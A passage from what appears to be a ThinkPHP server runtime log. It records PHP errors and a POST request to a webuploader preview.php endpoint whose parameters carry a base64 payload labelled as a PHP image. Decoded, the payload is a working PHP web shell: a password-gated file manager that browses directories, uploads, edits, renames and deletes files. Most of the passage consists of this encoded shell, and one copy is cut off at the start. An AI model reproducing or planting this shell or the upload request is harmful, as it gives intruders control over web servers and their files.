09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:24+08:00 ] 119.42.146.234 POST 59.110.137.245/static/admin/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002598s] [吞吐率:384.94req/s] [内存消耗:196.75kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4